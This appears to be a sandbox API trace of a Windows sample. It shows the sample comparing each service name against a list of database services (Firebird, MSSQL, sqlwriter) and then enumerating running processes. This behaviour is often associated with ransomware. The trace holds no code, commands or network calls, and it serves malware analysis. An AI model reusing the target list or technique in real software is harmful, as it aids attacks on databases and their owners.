(lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0141.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0141.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0141.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0141.346] lstrlenW (lpString="Dnscache") returned 8 [0141.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0141.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0141.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0141.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0141.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0141.346] lstrlenW (lpString="DoSvc") returned 5 [0141.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0141.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0141.346] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0141.346] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0141.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0141.346] lstrlenW (lpString="DPS") returned 3 [0141.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0141.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0141.346] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0141.346] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0141.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0141.347] lstrlenW (lpString="DusmSvc") returned 7 [0141.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0141.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0141.347] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0141.347] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0141.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0141.347] lstrlenW (lpString="EventLog") returned 8 [0141.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0141.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0141.347] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0141.347] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0141.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0141.347] lstrlenW (lpString="EventSystem") returned 11 [0141.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0141.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0141.347] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0141.347] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0141.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0141.347] lstrlenW (lpString="FontCache") returned 9 [0141.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0141.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0141.347] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0141.347] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0141.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0141.347] lstrlenW (lpString="gpsvc") returned 5 [0141.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0141.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0141.348] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0141.348] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0141.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0141.348] lstrlenW (lpString="iphlpsvc") returned 8 [0141.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0141.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0141.348] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0141.348] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0141.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0141.348] lstrlenW (lpString="KeyIso") returned 6 [0141.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0141.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0141.348] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0141.348] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0141.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0141.348] lstrlenW (lpString="LanmanServer") returned 12 [0141.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0141.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0141.348] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0141.348] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0141.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0141.348] lstrlenW (lpString="LanmanWorkstation") returned 17 [0141.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0141.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0141.348] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0141.348] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0141.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0141.348] lstrlenW (lpString="lfsvc") returned 5 [0141.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0141.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0141.349] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0141.349] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0141.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0141.349] lstrlenW (lpString="lmhosts") returned 7 [0141.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0141.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0141.349] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0141.349] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0141.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0141.349] lstrlenW (lpString="LSM") returned 3 [0141.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0141.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0141.349] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0141.349] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0141.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0141.349] lstrlenW (lpString="MapsBroker") returned 10 [0141.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0141.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0141.349] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0141.349] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0141.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0141.349] lstrlenW (lpString="MpsSvc") returned 6 [0141.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0141.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0141.349] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0141.349] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0141.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0141.350] lstrlenW (lpString="NcbService") returned 10 [0141.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0141.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0141.350] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0141.350] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0141.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0141.350] lstrlenW (lpString="netprofm") returned 8 [0141.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0141.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0141.350] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0141.350] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0141.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0141.350] lstrlenW (lpString="NlaSvc") returned 6 [0141.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0141.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0141.350] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0141.350] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0141.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0141.350] lstrlenW (lpString="nsi") returned 3 [0141.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0141.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0141.350] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0141.350] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0141.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0141.350] lstrlenW (lpString="PcaSvc") returned 6 [0141.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0141.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0141.351] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0141.351] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0141.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0141.351] lstrlenW (lpString="PlugPlay") returned 8 [0141.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0141.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0141.351] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0141.351] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0141.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0141.351] lstrlenW (lpString="Power") returned 5 [0141.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0141.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0141.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0141.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0141.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0141.351] lstrlenW (lpString="ProfSvc") returned 7 [0141.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0141.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0141.351] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0141.351] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0141.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0141.351] lstrlenW (lpString="RpcEptMapper") returned 12 [0141.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0141.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0141.351] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0141.351] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0141.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0141.351] lstrlenW (lpString="RpcSs") returned 5 [0141.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0141.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0141.352] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0141.352] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0141.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0141.352] lstrlenW (lpString="SamSs") returned 5 [0141.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0141.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0141.352] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0141.352] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0141.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0141.352] lstrlenW (lpString="Schedule") returned 8 [0141.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0141.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0141.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0141.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0141.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0141.352] lstrlenW (lpString="SecurityHealthService") returned 21 [0141.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0141.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0141.352] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0141.352] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0141.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0141.352] lstrlenW (lpString="SENS") returned 4 [0141.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0141.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0141.352] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0141.352] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0141.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0141.353] lstrlenW (lpString="ShellHWDetection") returned 16 [0141.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0141.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0141.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0141.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0141.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0141.353] lstrlenW (lpString="Spooler") returned 7 [0141.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0141.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0141.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0141.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0141.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0141.353] lstrlenW (lpString="SSDPSRV") returned 7 [0141.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0141.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0141.353] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0141.353] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0141.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0141.353] lstrlenW (lpString="StateRepository") returned 15 [0141.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0141.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0141.353] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0141.353] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0141.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0141.353] lstrlenW (lpString="SysMain") returned 7 [0141.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0141.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0141.353] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0141.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0141.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64ac08 | out: hHeap=0x5a0000) returned 1 [0141.354] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0141.363] Process32FirstW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.364] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0141.365] lstrlenW (lpString="System") returned 6 [0141.365] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0141.366] lstrlenW (lpString="smss.exe") returned 8 [0141.366] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.367] lstrlenW (lpString="csrss.exe") returned 9 [0141.367] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0141.368] lstrlenW (lpString="wininit.exe") returned 11 [0141.368] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.369] lstrlenW (lpString="csrss.exe") returned 9 [0141.369] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0141.370] lstrlenW (lpString="winlogon.exe") returned 12 [0141.370] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0141.371] lstrlenW (lpString="services.exe") returned 12 [0141.372] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0141.373] lstrlenW (lpString="lsass.exe") returned 9 [0141.373] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.374] lstrlenW (lpString="svchost.exe") returned 11 [0141.374] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0141.375] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0141.375] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0141.376] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0141.376] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.377] lstrlenW (lpString="svchost.exe") returned 11 [0141.377] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0141.377] lstrlenW (lpString="dwm.exe") returned 7 [0141.378] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.378] lstrlenW (lpString="svchost.exe") returned 11 [0141.379] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.379] lstrlenW (lpString="svchost.exe") returned 11 [0141.379] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.380] lstrlenW (lpString="svchost.exe") returned 11 [0141.380] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.381] lstrlenW (lpString="svchost.exe") returned 11 [0141.381] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.382] lstrlenW (lpString="svchost.exe") returned 11 [0141.382] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.383] lstrlenW (lpString="svchost.exe") returned 11 [0141.383] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.384] lstrlenW (lpString="svchost.exe") returned 11 [0141.384] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.385] lstrlenW (lpString="svchost.exe") returned 11 [0141.385] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.386] lstrlenW (lpString="svchost.exe") returned 11 [0141.386] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0141.580] lstrlenW (lpString="spoolsv.exe") returned 11 [0141.580] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.581] lstrlenW (lpString="svchost.exe") returned 11 